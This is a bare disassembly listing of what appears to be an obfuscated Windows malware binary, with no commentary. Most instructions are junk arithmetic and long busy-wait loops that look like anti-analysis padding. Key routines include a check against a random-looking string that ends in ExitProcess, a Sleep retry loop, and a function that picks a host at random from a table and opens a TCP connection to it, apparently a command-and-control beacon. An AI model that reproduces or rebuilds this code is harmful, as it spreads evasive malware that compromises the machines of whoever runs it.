mov edx, dword [rbp - 0x91]
add r10, qword [rbp - 0xa2]
inc qword [rsp]
cmp qword [rsp], 0x510
jle 0x140003d78
add rsp, 0x10
mov r10, qword [rbp - 0xcb]
add ecx, dword [rbp - 0xef]
xor r9, qword [rbp - 0x7c]
mov edx, dword [rbp - 0x10f]
mov ecx, dword [rbp - 0x177]
cmp r10, r9
jns 0x140003e56
mov dword [rbp - 0xfb], edx
mov dword [rbp - 0x26], edx
add rax, rcx
xor ecx, dword [rbp - 0x106]
mov edx, ecx
sub r8, 0x5eb3
mov rdx, 0x6555
sub rcx, 0x1971
mov r9, rax
mov eax, ecx
add r10, qword [0x140009a38]
add eax, dword [rbp - 0x18f]
sub edx, eax
mov r10, 0x7fe8
mov ecx, eax
mov qword [rbp - 0x173], r11
mov eax, 0x2599
mov r10, 0x6ceb
add dword [rbp - 0x1f0], edx
movzx ecx, dl
mov eax, dword [rbp - 0x27]
xor rdx, qword [rbp - 0x122]
sub ecx, dword [rbp - 0xff]
mov qword [rbp - 0x13b], r8
sub edx, eax
mov r11, qword [rbp - 0x23d]
add r11, 0x6fd
mov edx, eax
sub eax, edx
leave
call fcn.140006bf8
cmp eax, 0xffffffff
je 0x14000355d
mov rbx, qword [0x1400092f0]
mov dword [rbp - 0xbe], eax
push rax
push rax
push rbp
mov rbp, rsp
sub rsp, 0x3f8
sub ecx, edx
mov rax, r10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004068
movzx eax, ax
sub ecx, dword [rbp - 0x27]
add r8, 0x3967
mov dword [rbp - 0xe], ecx
or dword [rbp - 0x172], eax
sub dword [rbp - 0x111], eax
or dword [rbp - 0x1ee], eax
mov qword [rbp - 0x259], r11
mov r9, rax
mov r10, qword [rbp - 0x183]
movzx ecx, dh
mov qword [rbp - 0x14a], rax
mov dh, byte [0x140009a36]
and edx, ecx
mov dword [rbp - 0x23b], edx
sub r11, r9
or rax, qword [rbp - 0x3ac]
mov dword [rbp - 0x350], ecx
mov ecx, dword [0x140009a31]
and rcx, r10
xor r9, qword [rbp - 0x175]
mov r8, qword [0x140009a33]
mov r8, 0x38d8
mov qword [rbp - 0x1e9], rdx
sub r9, qword [rbp - 0x19c]
or dword [rbp - 0x1e9], ecx
mov r9, r8
mov rax, 0xe47c
sub rcx, qword [rbp - 0xaf]
add r9, rax
mov edx, dword [rbp - 0x2c1]
or qword [rbp - 0x21f], r10
mov qword [rbp - 0x17a], r10
mov qword [rbp - 0x1a0], rax
sub ch, byte [0x140009a33]
movzx eax, dh
mov rax, r11
xor rax, qword [rbp - 0x3df]
mov ecx, edx
and rax, qword [rbp - 0x265]
mov r10, rcx
and dword [rbp - 0x3b9], ecx
mov dword [rbp - 0x158], edx
mov qword [0x140009a3a], rdx
mov ecx, dword [rbp - 0x3bb]
mov r11, 0xb147
xor r9, rcx
mov eax, dword [rbp - 0x277]
mov ecx, dword [rbp - 0x21b]
or dword [rbp - 0x198], eax
mov dl, byte [rbp - 0x288]
mov eax, edx
mov qword [rbp - 0x15a], r10
or dword [rbp - 0x3a4], ecx
add eax, dword [rbp - 0x281]
mov edx, dword [0x140009a34]
mov dword [rbp - 0x2f4], ecx
mov rax, r10
add rdx, rax
sub r10, rcx
mov dword [0x140009a32], ecx
mov r10, qword [rbp - 0x2a]
mov ecx, dword [rbp - 0x33a]
mov dword [0x140009a39], ecx
inc qword [rsp]
cmp qword [rsp], 0x99a7
jle 0x140003f0e
add rsp, 0x10
leave
pop rax
pop rax
cmp eax, 0xffffffff
jne 0x1400041a9
mov rcx, qword [0x1400092f0]
mov rax, qword [0x1400099b3]
call rax
mov qword [0x1400092f0], 0
jmp 0x14000355d
mov rcx, rbx
lea rdx, [0x140009250]
mov rax, qword [0x1400099e3]
call rax
cmp rax, 0
je 0x140004086
mov rcx, rbx
lea rdx, [0x140009260]
mov rax, qword [0x1400099e3]
call rax
cmp rax, 0
je 0x140004086
mov rbx, rax
add rbx, 4
cmp dword [rbx], 0x66666f6f
je 0x1400049a8
cmp dword [rbp - 0xbe], 0
je 0x140004086
push r14
push rbp
mov rbp, rsp
sub rsp, 0x278
mov qword [rbp - 0x23], r14
mov r14, qword [0x140009a3a]
lea rdx, [rbp - 0x266]
mov edx, dword [rbp - 0x6f]
xor dh, byte [rbp - 0x13a]
lea eax, [rbp - 0x60]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004240
inc qword [rsp]
mov r9, 0xcb24
cmp qword [rsp], r9
jle 0x14000423c
add rsp, 0x10
add r9, qword [rbp - 0x1e2]
sub ecx, 0xb901
mov eax, dword [rbp - 0x26b]
lea eax, [0x140009a37]
mov qword [rbp - 0x40], r14
sub rdx, qword [rbp - 0x1d3]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400042b4
mov qword [rbp - 0x1d3], r9
movzx edx, dh
mov qword [rbp - 0x141], r11
mov qword [rbp - 0xb6], r9
mov dword [rbp - 0x48], eax
mov dword [rbp - 0x214], edx
add edx, ecx
sub qword [rbp - 0x19f], rax
movzx eax, cl
inc qword [rsp]
mov edx, 0xf83d
cmp edx, dword [rsp]
jl 0x140004283
add rsp, 0x10
mov dword [0x140009a2d], edx
cmp r14, qword [str.JwiAn37gx2fv8upnv3P9nne8dPy50ZKZ2kdBKeSpwMkJIv3ELFbQLq8SKRgwaeTn15mFv5LwpqoogI]
jne 0x140004342
mov edx, ecx
mov dword [rbp - 0x19c], ecx
mov r9, r14
mov edx, dword [0x140009a37]
mov r8, qword [rbp - 0x219]
movzx ecx, ah
mov qword [rbp - 0x3b], rdx
cmp ecx, 0xe23d4e53
je 0x140004342
mov ax, word [rbp - 0x23b]
mov qword [rbp - 0xe3], rax
movzx eax, ah
add dword [rbp - 0x24c], edx
xor edx, ecx
mov edx, dword [rbp - 0x191]
mov rdx, qword [rbp - 0x142]
mov ecx, eax
xor r11, rcx
xor r9, qword [rbp - 7]
add edx, dword [0x140009a2f]
mov qword [0x140009a33], r8
mov dword [rbp - 0xab], eax
mov rcx, rax
add ecx, edx
movzx edx, dl
leave
pop r14
mov rdi, rbx
movsxd rsi, dword [rbp - 0xbe]
mov r12, rsi
dec rsi
call fcn.140004a60
movsxd rsi, dword [rbp - 0xbe]
mov al, byte [rbx + rsi - 1]
mov byte [0x140009483], al
call fcn.140005d10
lea rsi, [0x140009008]
push rbp
mov rbp, rsp
sub rsp, 0x448
mov rdx, qword [rbp - 0x3c1]
mov ecx, eax
cmp ecx, dword [0x140009a2d]
jne 0x1400043bd
mov qword [rbp - 0x225], rax
mov r9, qword [rbp - 0x2ec]
mov dword [rbp - 0x34d], ecx
mov rdx, r10
mov dword [rbp - 0x3d7], edx
mov qword [rbp - 0x66], r9
and ecx, 0x9d2f
movzx edx, ax
sub rcx, r10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004427
mov r11, qword [rbp - 0x1be]
mov r8, qword [rbp - 0x3ac]
add qword [rbp - 0x53], r9
mov ecx, dword [rbp - 0x327]
add ecx, dword [rbp - 0xbd]
mov dword [rbp - 0x1e6], edx
lea rdx, [rbp - 0x2ef]
mov rax, qword [rbp - 0x33c]
and rax, r8
mov dword [rbp - 0x2a2], ecx
or r11, rdx
movzx eax, dx
lea eax, [rbp - 0x2f4]
mov qword [rbp - 0x37b], r11
mov rdx, 0x8aab
inc qword [rsp]
cmp qword [rsp], 0x4c9d
jle 0x1400043ce
add rsp, 0x10
and r11, qword [rbp - 0x23c]
mov qword [rbp - 0x217], r8
add eax, edx
xor r8, 0xd454
add dword [0x140009a2c], eax
or qword [rbp - 0x27d], r9
mov r11, qword [rbp - 0x2b6]
movzx ecx, al
add r11, qword [0x140009a2f]
sub r11, rdx
mov ecx, dword [rbp - 0x9e]
sub eax, ecx
mov dword [rbp - 0x95], edx
mov rdx, rax
mov eax, dword [rbp - 0x1a9]
mov r10, 0x3cab
mov qword [0x140009a31], r8
mov qword [0x140009a36], r11
sub rdx, qword [rbp - 0xe4]
mov qword [rbp - 0x1f9], r9
mov qword [rbp - 0xab], r11
mov r9, rax
test eax, 0x8da7632e
jne 0x1400044b8
mov rax, r11
and r8, 0xd0e2
cmp r10, qword [str.JwiAn37gx2fv8upnv3P9nne8dPy50ZKZ2kdBKeSpwMkJIv3ELFbQLq8SKRgwaeTn15mFv5LwpqoogI]
jb 0x1400044cb
mov rax, 0
call sub.KERNEL32.dll_ExitProcess
push r12
push r15
push r14
push rdi
push rbx
push rbp
mov rbp, rsp
sub rsp, 0x1f8
mov qword [rbp - 0xbd], rcx
mov r10, qword [rbp - 0xf4]
mov rax, 0x99f9
mov r14, rcx
mov al, byte [rbp - 0x10f]
add eax, dword [rbp - 0xb0]
call sub.KERNEL32.dll_GetLongPathNameTransactedA
mov r8, rdx
lea rax, [rbp - 0xec]
add rax, 0xae62
mov word [0x140009a33], di
call sub.ole32.dll_ObjectStublessClient22
and rdx, qword [rbp - 0xd8]
movzx edi, bh
add edx, dword [rbp - 0x1e2]
movzx ecx, al
add ecx, 0x9b21
sub dword [rbp - 0x1b9], edi
sub edx, dword [rbp - 0xd5]
mov word [rbp - 0x19f], di
mov rbx, r14
mov edi, dword [rbp - 0x1d5]
mov rcx, 0xe883
cmp edx, dword [0x140009a32]
jmp 0x140004a50
mov ch, bl
leave
pop rbx
pop rdi
pop r14
pop r15
pop r12
ret
push rdi
push rbx
push r12
push r13
push rbp
mov rbp, rsp
sub rsp, 0x138
add ebx, eax
mov qword [rbp - 0xc2], r13
cmp edi, dword [0x140009a2f]
je 0x140006967
movzx ebx, bh
xor ecx, dword [rbp - 0xa8]
mov edi, 0x15bd
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140006988
lea rdx, [rbp - 0xdf]
sub dword [rbp - 0x2f], eax
inc qword [rsp]
cmp qword [rsp], 0xa4fb
jle 0x14000697a
add rsp, 0x10
movzx ecx, byte [rbp - 0x88]
mov eax, dword [rbp - 0x4b]
movzx edx, ah
mov rcx, qword [rbp - 0xa1]
mov rdi, qword [rbp - 0x9a]
add al, byte [rbp - 0x26]
movzx edi, dh
add dword [rbp - 0x7e], ecx
mov rax, 0xfa4a
lea rax, [rbp - 0x9a]
lea edi, [rbp - 0x57]
add r11, r12
and edi, dword [rbp - 0x51]
mov qword [rbp - 0x123], r13
mov edx, dword [rbp - 0x36]
mov qword [rbp - 0x106], r13
mov rdi, qword [rbp - 0x1f]
mov ebx, dword [rbp - 0x4f]
sub edx, dword [rbp - 6]
mov ebx, eax
lea r13, [rbp - 0x8d]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140006a07
inc qword [rsp]
mov edx, 0xaff0
cmp edx, dword [rsp]
jl 0x140006a03
add rsp, 0x10
mov qword [rbp - 0xd7], r12
add r9, qword [rbp - 0x106]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140006b03
mov eax, dword [rbp - 0xc0]
lea ecx, [rbp - 0x9b]
mov ebx, dword [rbp - 0xbc]
sub rcx, 0x1d1d
mov dword [0x140009a34], ecx
mov qword [rbp - 0xf9], r13
mov dword [rbp - 0xff], ecx
xor dword [rbp - 0xa4], edi
or qword [rbp - 0xd8], rdi
movzx edi, dl
lea ecx, [rbp - 0x47]
mov dword [rbp - 0x115], ebx
mov qword [0x140009a37], r10
mov edi, dword [rbp - 0x64]
sub qword [rbp - 0x36], r11
mov ecx, dword [rbp - 0x8c]
mov edi, eax
add edi, 0x56cb
mov rbx, 0xb658
or qword [rbp - 0xb9], r9
movzx edi, al
sub r12, 0x6317
xor qword [rbp - 0x5d], rdi
mov qword [rbp - 0xe4], r9
mov dword [rbp - 0x8e], edi
lea rbx, [rbp - 0xa4]
sub rdx, qword [rbp - 0xff]
mov dword [rbp - 0x10d], eax
add qword [rbp - 0x51], rax
add ecx, dword [rbp - 0x6e]
mov r11, qword [rbp - 0x5c]
mov qword [0x140009a37], r12
mov qword [rbp - 0xd1], r8
mov edi, dword [rbp - 0x55]
sub edi, dword [rbp - 0x36]
mov qword [rbp - 0x11c], rdi
add r8, 0x56e1
inc qword [rsp]
mov r8, 0x28ac
cmp qword [rsp], r8
jle 0x140006a34
add rsp, 0x10
leave
pop r13
pop r12
pop rbx
pop rdi
mov rcx, 0x1388
call sub.KERNEL32.dll_Sleep
mov rax, 0
cmp rax, 0
je 0x14000693c
push rbx
sub rsp, 0x30
call sub.msvcrt.dll_rand
cdq
idiv dword [0x1400098f7]
lea rcx, [0x1400098df]
mov rcx, qword [rcx + rdx*8]
mov qword [0x1400091be], rcx
xor r8d, r8d
lea rdx, [0x1400091bb]
mov qword [rsp + 0x28], 0
lea r9, [rsp + 0x28]
call sub.WS2_32.dll_getaddrinfo
test eax, eax
jne 0x140006bd6
mov rax, qword [rsp + 0x28]
mov r8d, 6
mov edx, 1
mov ecx, dword [rax + 4]
call sub.WS2_32.dll_socket
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140006bcc
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rcx + 0x20]
mov r8d, dword [rcx + 0x10]
mov rcx, rbx
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
je 0x140006bc4
mov rax, rbx
add rsp, 0x30
pop rbx
ret
mov rcx, rbx
call sub.WS2_32.dll_closesocket
mov rcx, qword [rsp + 0x28]
call sub.WS2_32.dll_freeaddrinfo
mov rax, 0xffffffffffffffff
add rsp, 0x30
pop rbx
ret